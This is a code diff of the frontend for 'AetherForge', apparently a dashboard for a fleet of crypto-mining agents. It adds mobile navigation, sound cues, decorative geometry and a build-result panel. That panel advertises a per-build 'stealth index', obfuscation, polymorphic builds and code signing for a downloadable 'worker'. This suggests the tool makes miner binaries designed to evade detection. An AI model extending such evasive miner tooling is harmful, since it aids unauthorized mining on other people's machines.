<Row label="Install Dir" value={report.environment?.install_dir} />
</Section>
<Section title="Live Resources">
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
<Row
label="Disk (miner vol)"
value={
report.resources?.disk_free_pct != null
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
: undefined
}
/>
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
</Section>
<Section title="Listeners">
<Row label="Open TCP ports" value={report.listen_ports?.count} />
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
<div className="syscheck-table-wrap">
<table className="syscheck-table">
<thead>
<tr>
<th>Port</th>
<th>Bind</th>
<th>Process</th>
</tr>
</thead>
<tbody>
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
<tr key={i}>
<td>{p.port}</td>
<td>{p.addr}</td>
<td>{p.process || p.pid}</td>
</tr>
))}
</tbody>
</table>
</div>
)}
</Section>
<Section title="Interfaces">
{report.network?.interfaces?.map((iface, i) => (
<div key={i} className="syscheck-iface">
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
{iface.ipv4?.map((ip) => (
<div key={ip} className="syscheck-muted">
{ip}
</div>
))}
</div>
))}
{report.network?.routes_summary && (
<>
<div className="syscheck-k syscheck-subhead">Routes</div>
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
</>
)}
</Section>
</div>
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
<details className="syscheck-raw">
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
{report.raw_sysinfo && (
<>
<div className="syscheck-k">systeminfo / uname</div>
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
</>
)}
{report.raw_ipconfig && (
<>
<div className="syscheck-k">ipconfig / ip addr</div>
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
</>
)}
{report.raw_netstat && (
<>
<div className="syscheck-k">netstat</div>
<pre className="syscheck-pre">{report.raw_netstat}</pre>
</>
)}
</details>
)}
{report.probe_errors && report.probe_errors.length > 0 && (
<div className="syscheck-errors">
{report.probe_errors.map((e, i) => (
<div key={i}>{e}</div>
))}
</div>
)}
</div>
);
}

View File

@@ -0,0 +1,221 @@
.forge-dispense-backdrop {
position: fixed;
inset: 0;
z-index: 1200;
display: flex;
align-items: center;
justify-content: center;
background: rgba(4, 8, 18, 0.82);
backdrop-filter: blur(8px);
animation: forge-dispense-fade 0.4s ease;
}
.forge-dispense-panel {
position: relative;
max-width: 420px;
width: 92%;
padding: 2rem 1.75rem 1.5rem;
border-radius: 16px;
border: 1px solid rgba(120, 200, 255, 0.35);
background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98));
box-shadow:
0 0 60px rgba(80, 160, 255, 0.15),
inset 0 1px 0 rgba(255, 255, 255, 0.06);
text-align: center;
animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1);
}
.forge-dispense-sigil {
width: 72px;
height: 72px;
margin: 0 auto 1rem;
border-radius: 50%;
background:
radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%),
conic-gradient(
from 0deg,
rgba(100, 180, 255, 0.5),
rgba(180, 120, 255, 0.4),
rgba(100, 200, 255, 0.5)
);
mask: radial-gradient(circle, transparent 38%, black 39%);
animation: forge-dispense-spin 12s linear infinite;
}
.forge-dispense-title {
margin: 0 0 0.35rem;
font-size: 1.5rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #b8e4ff;
}
.forge-dispense-sub {
margin: 0 0 1.25rem;
font-size: 0.9rem;
color: rgba(200, 220, 255, 0.75);
line-height: 1.45;
}
.forge-dispense-shield {
display: flex;
align-items: center;
justify-content: center;
gap: 1rem;
margin-bottom: 1.25rem;
}
.forge-dispense-shield-ring {
--shield-pct: 50%;
width: 88px;
height: 88px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
background: conic-gradient(
#3d9eff calc(var(--shield-pct) * 1%),
rgba(60, 80, 120, 0.35) 0
);
position: relative;
}
.forge-dispense-shield-ring::before {
content: '';
position: absolute;
inset: 6px;
border-radius: 50%;
background: rgba(8, 14, 28, 0.95);
}
.forge-dispense-shield-value {
position: relative;
z-index: 1;
font-size: 1.75rem;
font-weight: 700;
color: #7ec8ff;
}
.forge-dispense-shield-label {
text-align: left;
display: flex;
flex-direction: column;
gap: 0.2rem;
font-size: 0.85rem;
color: rgba(180, 210, 255, 0.9);
}
.forge-dispense-shield-hint {
font-size: 0.72rem;
opacity: 0.65;
}
.forge-dispense-dna {
margin-bottom: 1rem;
padding: 0.75rem;
border-radius: 10px;
background: rgba(0, 0, 0, 0.25);
border: 1px solid rgba(100, 160, 255, 0.2);
}
.forge-dispense-dna-label {
display: block;
font-size: 0.7rem;
letter-spacing: 0.15em;
text-transform: uppercase;
color: rgba(150, 200, 255, 0.7);
margin-bottom: 0.35rem;
}
.forge-dispense-dna-hash {
font-size: 0.95rem;
color: #9ee0ff;
letter-spacing: 0.08em;
}
.forge-dispense-dna-bars {
display: flex;
align-items: flex-end;
justify-content: center;
gap: 3px;
height: 48px;
margin-top: 0.6rem;
}
.forge-dispense-dna-bar {
width: 6px;
min-height: 4px;
border-radius: 2px 2px 0 0;
background: linear-gradient(180deg, #6eb8ff, #3a6a9e);
opacity: 0.85;
animation: forge-dispense-bar 0.6s ease backwards;
}
.forge-dispense-dna-bar:nth-child(odd) {
animation-delay: 0.05s;
}
.forge-dispense-layers {
list-style: none;
margin: 0 0 1.25rem;
padding: 0;
display: flex;
flex-wrap: wrap;
gap: 0.4rem;
justify-content: center;
}
.forge-dispense-layers li {
font-size: 0.72rem;
padding: 0.25rem 0.55rem;
border-radius: 999px;
border: 1px solid rgba(80, 120, 180, 0.35);
color: rgba(140, 160, 200, 0.7);
}
.forge-dispense-layers li.on {
border-color: rgba(100, 200, 255, 0.55);
color: #a8dcff;
box-shadow: 0 0 12px rgba(80, 160, 255, 0.2);
}
.forge-dispense-actions {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
@keyframes forge-dispense-fade {
from {
opacity: 0;
}
to {
opacity: 1;
}
}
@keyframes forge-dispense-rise {
from {
opacity: 0;
transform: translateY(24px) scale(0.96);
}
to {
opacity: 1;
transform: translateY(0) scale(1);
}
}
@keyframes forge-dispense-spin {
to {
transform: rotate(360deg);
}
}
@keyframes forge-dispense-bar {
from {
transform: scaleY(0);
}
to {
transform: scaleY(1);
}
}

View File

@@ -0,0 +1,91 @@
import { useEffect } from 'react';
import type { BuildResponse } from '../../types';
import { useSound } from '../../context/SoundContext';
import DownloadButton from '../DownloadButton';
import './ForgeDispenseReveal.css';
interface Props {
result: BuildResponse;
onClose: () => void;
}
function dnaBars(fingerprint?: string): number[] {
const raw = fingerprint || 'aetherforge';
const bars: number[] = [];
for (let i = 0; i < 24; i++) {
const c = raw.charCodeAt(i % raw.length);
bars.push(12 + ((c * (i + 3)) % 88));
}
return bars;
}
export default function ForgeDispenseReveal({ result, onClose }: Props) {
const { play } = useSound();
const score = result.stealth_score ?? 0;
const bars = dnaBars(result.binary_fingerprint);
useEffect(() => {
play('success');
}, [play]);
return (
<div className="forge-dispense-backdrop" role="dialog" aria-labelledby="forge-dispense-title">
<div className="forge-dispense-panel">
<div className="forge-dispense-sigil" aria-hidden />
<h2 id="forge-dispense-title" className="forge-dispense-title">
Dispensed
</h2>
<p className="forge-dispense-sub">
{result.file_name || 'Your worker'} is ready each forge carries a unique binary signature.
</p>
<div className="forge-dispense-shield">
<div
className="forge-dispense-shield-ring"
style={{ ['--shield-pct' as string]: `${score}%` }}
>
<span className="forge-dispense-shield-value">{score}</span>
</div>
<div className="forge-dispense-shield-label">
<span>Stealth index</span>
<span className="forge-dispense-shield-hint">Polymorph · Garble · Sigil · Sign</span>
</div>
</div>
{result.binary_fingerprint && (
<div className="forge-dispense-dna">
<span className="forge-dispense-dna-label">Binary DNA</span>
<code className="forge-dispense-dna-hash">{result.binary_fingerprint}</code>
<div className="forge-dispense-dna-bars" aria-hidden>
{bars.map((h, i) => (
<span key={i} className="forge-dispense-dna-bar" style={{ height: `${h}%` }} />
))}
</div>
</div>
)}
<ul className="forge-dispense-layers">
<li className={result.obfuscated ? 'on' : ''}>Garble obfuscation</li>
<li className={result.sigil_scramble ? 'on' : ''}>Sigil scramble</li>
<li className={result.signed ? 'on' : ''}>Authenticode sign</li>
<li className="on">Polymorph weave</li>
</ul>
<div className="forge-dispense-actions">
{result.download_url && result.file_name && (
<DownloadButton
apiPath={result.download_url}
filename={result.file_name}
className="btn btn-primary"
>
Take the forge
</DownloadButton>
)}
<button type="button" className="btn btn-outline" onClick={onClose}>
Continue forging
</button>
</div>
</div>
</div>
);
}

View File

@@ -442,39 +442,4 @@
z-index: 1;
}
@media (max-width: 768px) {
.sidebar {
width: 72px;
}
.logo-text-block,
.nav-label,
.fleet-readout,
.sidebar-sig,
.matrix-rain-wrap {
display: none;
}
.sidebar-header {
padding: 1rem 0.5rem;
justify-content: center;
}
.logo {
justify-content: center;
}
.nav-item {
justify-content: center;
padding: 0.85rem;
}
.main-with-status {
margin-left: 72px;
}
.main-content {
margin-left: 0;
padding: 1rem;
}
}
/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */

View File

@@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import MatrixRain from './MatrixRain';
import afLogo from '../../assets/af-logo.png';
import CursorFire from '../Visual/CursorFire';
import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { api } from '../../api/client';
import type { ServerConfig } from '../../types';
import './Layout.css';
import './MobileNav.css';
interface LayoutProps {
children: ReactNode;
@@ -20,8 +28,14 @@ const NAV = [
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
] as const;
/** Primary tabs on iPhone bottom bar */
const MOBILE_PRIMARY = NAV.slice(0, 4);
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
const MOBILE_MORE = NAV.slice(4);
function NavIcon({ type }: { type: string }) {
switch (type) {
case 'deck':
@@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) {
<path d="M10 12l1.5 2L14 11" />
</svg>
);
case 'trace':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="4" cy="12" r="2" />
<circle cx="12" cy="6" r="2" />
<circle cx="20" cy="12" r="2" />
<path d="M6 12h4l2-6 2 6h4" />
<path d="M12 8v4" />
</svg>
);
default:
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -135,14 +159,59 @@ function FleetReadout() {
);
}
function MobileTopStats() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
return (
<div className="mobile-top-stats">
<strong>
{online}/{total} online
</strong>
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
</div>
);
}
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
const [moreOpen, setMoreOpen] = useState(false);
useEffect(() => {
api.getConfig().then(setServerConfig).catch(() => {});
}, []);
useEffect(() => {
setMoreOpen(false);
}, [location.pathname]);
useEffect(() => {
if (!moreOpen) return;
const prev = document.body.style.overflow;
document.body.style.overflow = 'hidden';
return () => {
document.body.style.overflow = prev;
};
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
'/agents': 'Fleet',
'/crucible': 'Ops',
'/forge': 'Forge',
};
return (
<div className="layout">
<CursorFire />
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
{!isMobile && <CursorFire />}
<AmbientBackground />
<nav className="sidebar">
<SacredGeometryLayer />
<nav className="sidebar sidebar--desktop desktop-only">
<div className="sidebar-header">
<div className="logo">
<div className="logo-emblem">
@@ -172,6 +241,10 @@ export default function Layout({ children }: LayoutProps) {
))}
</div>
<div className="sidebar-sacred-sigil" aria-hidden>
<SacredMotif name="flower" opacity={0.6} />
</div>
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
<MatrixRain />
@@ -184,10 +257,72 @@ export default function Layout({ children }: LayoutProps) {
</div>
</nav>
<div className="main-with-status">
{isMobile && (
<header className="mobile-top-bar">
<img src={afLogo} alt="" className="mobile-top-logo" />
<span className="mobile-top-title">AetherForge</span>
<MobileTopStats />
</header>
)}
<div className={`main-with-status${isMobile ? ' main-with-status--mobile' : ''}`}>
<SystemStatusBar />
<SetupBanner status={setupStatus} />
<main className="main-content">{children}</main>
</div>
{isMobile && (
<>
{moreOpen && (
<div
className="mobile-menu-backdrop"
role="presentation"
onClick={() => setMoreOpen(false)}
/>
)}
<div className={`mobile-more-sheet${moreOpen ? ' open' : ''}`}>
{MOBILE_MORE.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) => `mobile-more-link${isActive ? ' active' : ''}`}
onClick={() => setMoreOpen(false)}
>
<NavIcon type={item.icon} />
{item.label}
</NavLink>
))}
</div>
<nav className="mobile-bottom-nav" aria-label="Main navigation">
{MOBILE_PRIMARY.map((item) => (
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) =>
`mobile-bottom-nav-item${isActive ? ' active' : ''}`
}
>
<NavIcon type={item.icon} />
{mobileShortLabel[item.to] ?? item.label}
</NavLink>
))}
<button
type="button"
className={`mobile-bottom-nav-item${moreActive ? ' active' : ''}`}
aria-expanded={moreOpen}
aria-label="More pages"
onClick={() => setMoreOpen((o) => !o)}
>
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<circle cx="12" cy="5" r="1.5" fill="currentColor" />
<circle cx="12" cy="12" r="1.5" fill="currentColor" />
<circle cx="12" cy="19" r="1.5" fill="currentColor" />
</svg>
More
</button>
</nav>
</>
)}
</div>
);
}

View File

@@ -0,0 +1,182 @@
/* Mobile top bar + bottom nav (see Layout.tsx) */
.mobile-only {
display: none;
}
@media (max-width: 768px) {
.mobile-only {
display: flex;
}
.desktop-only {
display: none !important;
}
}
.mobile-top-bar {
display: none;
position: fixed;
top: 0;
left: 0;
right: 0;
z-index: 110;
align-items: center;
gap: 0.65rem;
padding: 0.5rem 0.75rem;
background: rgba(8, 6, 4, 0.96);
border-bottom: 1px solid var(--border-brass);
backdrop-filter: blur(12px);
}
.layout--mobile .mobile-top-bar {
display: flex;
}
.mobile-top-logo {
width: 36px;
height: 36px;
border-radius: 50%;
object-fit: contain;
}
.mobile-top-title {
font-family: var(--font-display);
font-size: 0.95rem;
font-weight: 700;
color: var(--brass-light);
letter-spacing: 0.04em;
}
.mobile-top-stats {
margin-left: auto;
font-family: var(--font-tech);
font-size: 0.65rem;
color: var(--neon-cyan);
letter-spacing: 0.06em;
text-align: right;
line-height: 1.35;
}
.mobile-top-stats span {
display: block;
color: var(--text-muted);
font-size: 0.55rem;
}
.layout--mobile .main-with-status {
padding-top: 52px;
}
.mobile-bottom-nav {
display: none;
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 110;
align-items: stretch;
justify-content: space-around;
gap: 0;
background: rgba(8, 6, 4, 0.98);
border-top: 1px solid var(--border-brass);
backdrop-filter: blur(16px);
box-shadow: 0 -4px 24px rgba(0, 0, 0, 0.45);
}
.layout--mobile .mobile-bottom-nav {
display: flex;
}
.mobile-bottom-nav-item {
flex: 1;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 0.15rem;
padding: 0.4rem 0.2rem;
min-height: 52px;
color: var(--text-muted);
text-decoration: none;
font-size: 0.55rem;
font-weight: 600;
letter-spacing: 0.03em;
border: none;
background: transparent;
cursor: pointer;
-webkit-tap-highlight-color: transparent;
}
.mobile-bottom-nav-item svg {
width: 1.25rem;
height: 1.25rem;
}
.mobile-bottom-nav-item.active,
.mobile-bottom-nav-item:hover {
color: var(--neon-cyan);
}
.mobile-bottom-nav-item.active {
background: rgba(0, 245, 255, 0.08);
}
.mobile-menu-backdrop {
position: fixed;
inset: 0;
z-index: 115;
background: rgba(0, 0, 0, 0.55);
backdrop-filter: blur(2px);
}
.mobile-more-sheet {
position: fixed;
left: 0;
right: 0;
bottom: calc(52px + env(safe-area-inset-bottom, 0px));
z-index: 120;
max-height: 55vh;
overflow-y: auto;
-webkit-overflow-scrolling: touch;
background: rgba(12, 10, 8, 0.98);
border-top: 1px solid var(--border-brass);
padding: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.25rem;
transform: translateY(100%);
opacity: 0;
pointer-events: none;
transition: transform 0.25s ease, opacity 0.2s ease;
}
.mobile-more-sheet.open {
transform: translateY(0);
opacity: 1;
pointer-events: auto;
}
.mobile-more-link {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 0.85rem 1rem;
border-radius: 4px;
color: var(--text-secondary);
text-decoration: none;
font-size: 0.95rem;
font-weight: 600;
min-height: 48px;
}
.mobile-more-link.active {
background: rgba(0, 245, 255, 0.1);
color: var(--neon-cyan);
}
.mobile-more-link svg {
width: 1.35rem;
height: 1.35rem;
flex-shrink: 0;
}

View File

@@ -1,4 +1,5 @@
import { ReactNode, CSSProperties } from 'react';
import SacredCardWatermark from '../Visual/sacredGeometry/SacredCardWatermark';
import './NeonCard.css';
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
@@ -26,6 +27,7 @@ export default function NeonCard({
style={style}
>
<div className="neon-card-rim" />
<SacredCardWatermark accent={accent} />
{children}
</div>
);

View File

@@ -1,7 +1,10 @@
import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('');
@@ -34,10 +37,12 @@ export default function SessionGate({ children }: { children: ReactNode }) {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
@@ -46,6 +51,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
@@ -54,6 +62,17 @@ export default function SessionGate({ children }: { children: ReactNode }) {
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
@@ -72,6 +91,9 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
</form>
</div>
);

View File

@@ -0,0 +1,73 @@
import { useEffect, useRef } from 'react';
import { useSound } from '../../context/SoundContext';
import { useWebSocket } from '../../hooks/useWebSocket';
import type { FleetAlert, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
const SHARE_MIN_MS = 2500;
const CMD_RESULT_MIN_MS = 600;
const SILENT_CMD_ACTIONS = new Set(['get_log', 'wg_status', 'mesh_status']);
/**
* Plays fleet/event cues from the shared dashboard WebSocket (not UI clicks).
*/
export default function SoundBridge() {
const { enabled, play } = useSound();
const { isConnected, latestMessage } = useWebSocket();
const wasConnected = useRef<boolean | null>(null);
const lastShareAt = useRef(0);
const lastCmdAt = useRef(0);
const lastMsgRef = useRef<WSMessage | null>(null);
useEffect(() => {
if (!enabled) return;
if (wasConnected.current === null) {
wasConnected.current = isConnected;
return;
}
if (wasConnected.current !== isConnected) {
play(isConnected ? 'connect' : 'disconnect');
wasConnected.current = isConnected;
}
}, [isConnected, enabled, play]);
useEffect(() => {
if (!enabled || !latestMessage || latestMessage === lastMsgRef.current) return;
lastMsgRef.current = latestMessage;
switch (latestMessage.type) {
case 'agent_online':
play('online');
break;
case 'agent_offline':
play('offline');
break;
case 'new_share': {
const now = Date.now();
if (now - lastShareAt.current >= SHARE_MIN_MS) {
lastShareAt.current = now;
play('share');
}
break;
}
case 'fleet_alert': {
const alert = latestMessage.payload as FleetAlert;
play(alert.level === 'error' ? 'alertCritical' : 'alert');
break;
}
case 'command_result': {
const p = latestMessage.payload as WSCommandResult;
if (p.action && SILENT_CMD_ACTIONS.has(p.action)) break;
const now = Date.now();
if (now - lastCmdAt.current < CMD_RESULT_MIN_MS) break;
lastCmdAt.current = now;
play(p.success ? 'success' : 'error');
break;
}
default:
break;
}
}, [latestMessage, enabled, play]);
return null;
}

View File

@@ -125,6 +125,7 @@ export default function CursorFire() {
return (
<canvas
ref={canvasRef}
className="cursor-fire-fx"
style={{
position: 'fixed',
inset: 0,

View File

@@ -364,6 +364,24 @@
color: var(--neon-green);
}
@media (max-width: 768px) {
.system-status-bar {
flex-wrap: nowrap;
overflow-x: auto;
-webkit-overflow-scrolling: touch;
scrollbar-width: none;
}
.system-status-bar::-webkit-scrollbar {
display: none;
}
.status-pill {
flex-shrink: 0;
white-space: nowrap;
}
}
@media (max-width: 640px) {
.compare-grid {
grid-template-columns: 1fr;

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[];
}
export function ActivityPulse({ items }: ActivityPulseProps) {
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
}
return (
<div className="activity-pulse">
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
{items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" />

View File

@@ -0,0 +1,29 @@
import { SacredMotif, type MotifName } from './motifs';
const ACCENT_MOTIFS: Record<string, [MotifName, MotifName]> = {
cyan: ['hex', 'seed'],
magenta: ['vesica', 'yantra'],
amber: ['spiral', 'key'],
green: ['seed', 'hex'],
purple: ['metatron', 'torus'],
brass: ['flower', 'key'],
gold: ['yantra', 'spiral'],
};
/** Corner watermarks inside neon cards */
export default function SacredCardWatermark({ accent = 'brass' }: { accent?: string }) {
const [tl, br] = ACCENT_MOTIFS[accent] ?? ACCENT_MOTIFS.brass;
return (
<>
<div className="neon-card-sacred neon-card-sacred--tl" aria-hidden>
<SacredMotif name={tl} opacity={0.5} />
</div>
<div className="neon-card-sacred neon-card-sacred--tr" aria-hidden>
<SacredMotif name="seed" opacity={0.35} />
</div>
<div className="neon-card-sacred neon-card-sacred--br" aria-hidden>
<SacredMotif name={br} opacity={0.45} />
</div>
</>
);
}

View File

@@ -0,0 +1,17 @@
/* Layer-specific overrides (shared tokens in sacred-geometry.css) */
.sacred-layer__corner--mid-l {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-r {
transform: translateY(-50%);
}
.sacred-layer__corner--mid-l svg,
.sacred-layer__corner--mid-r svg {
animation: sacred-geo-rotate 220s linear infinite;
}
.sacred-layer__corner--mid-r svg {
animation-direction: reverse;
}

View File

@@ -0,0 +1,50 @@
import { SacredMotif } from './motifs';
import './SacredGeometryLayer.css';
/** Viewport-wide sacred geometry — corners, keys, wisdom rail */
export default function SacredGeometryLayer() {
return (
<div className="sacred-layer" aria-hidden>
<div className="sacred-layer__corner sacred-layer__corner--tl">
<SacredMotif name="metatron" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--tr">
<SacredMotif name="yantra" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--bl">
<SacredMotif name="spiral" opacity={0.5} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--br">
<SacredMotif name="key" opacity={0.55} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-l">
<SacredMotif name="vesica" opacity={0.45} />
</div>
<div className="sacred-layer__corner sacred-layer__corner--mid-r">
<SacredMotif name="torus" opacity={0.45} />
</div>
<div className="sacred-layer__keys">
<span className="sacred-key sacred-key--1" title="Shell index">
</span>
<span className="sacred-key sacred-key--2" title="Ley ledger">
</span>
<span className="sacred-key sacred-key--3" title="Root chord">
</span>
<span className="sacred-key sacred-key--4" title="Archive gate">
ψ
</span>
</div>
<div className="sacred-layer__wisdom-rail font-tech" title="Whispers from the deck">
<span>Ω</span>
<span></span>
<span></span>
<span></span>
</div>
</div>
);
}

View File

@@ -0,0 +1,20 @@
import type { ReactNode } from 'react';
import { SacredMotif } from './motifs';
/** Optional sacred divider + motif beside page titles */
export default function SacredPageHeader({
children,
className = '',
}: {
children: ReactNode;
className?: string;
}) {
return (
<header className={`page-header page-header--sacred ${className}`.trim()}>
{children}
<div className="page-header-sacred-motif" aria-hidden>
<SacredMotif name="hex" opacity={0.55} />
</div>
</header>
);
}

View File

@@ -0,0 +1,292 @@
/** Reusable sacred-geometry SVG motifs — decorative only (aria-hidden at call sites). */
type MotifProps = {
className?: string;
stroke?: string;
opacity?: number;
};
const DEFAULT_STROKE = '#c9a227';
export function FlowerOfLifeWatermark({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
const cx = 50;
const cy = 50;
const R = 32;
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
const triR = R * 0.7;
const triUp = [0, 120, 240]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
const triDown = [60, 180, 300]
.map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
})
.join(' ');
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="1.2 1.8" />
<circle cx={cx} cy={cy} r={R} fill="none" stroke={stroke} strokeWidth="0.22" />
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke={stroke} strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke={stroke} strokeWidth="0.16" opacity="0.7" />
))}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
<polygon points={triUp} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke={stroke} strokeWidth="0.2" opacity="0.8" />
<circle cx={cx} cy={cy} r="0.6" fill={stroke} opacity="0.9" />
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke={stroke} strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
}
export function SeedOfLife({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
const cx = 50;
const cy = 50;
const r = 14;
const centers = [{ x: cx, y: cy }];
for (let i = 0; i < 6; i++) {
const a = (i * 60 * Math.PI) / 180;
centers.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
}
return (
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity}>
<circle cx={cx} cy={cy} r={r * 2.2} fill="none" stroke={stroke} strokeWidth="0.2" strokeDasharray="0.8 1.4" />
{centers.map((c, i) => (
<circle key={i} cx={c.x} cy={c.y} r={r} fill="none" stroke={stroke} strokeWidth="0.18" />
))}
</g>
</svg>
);
}
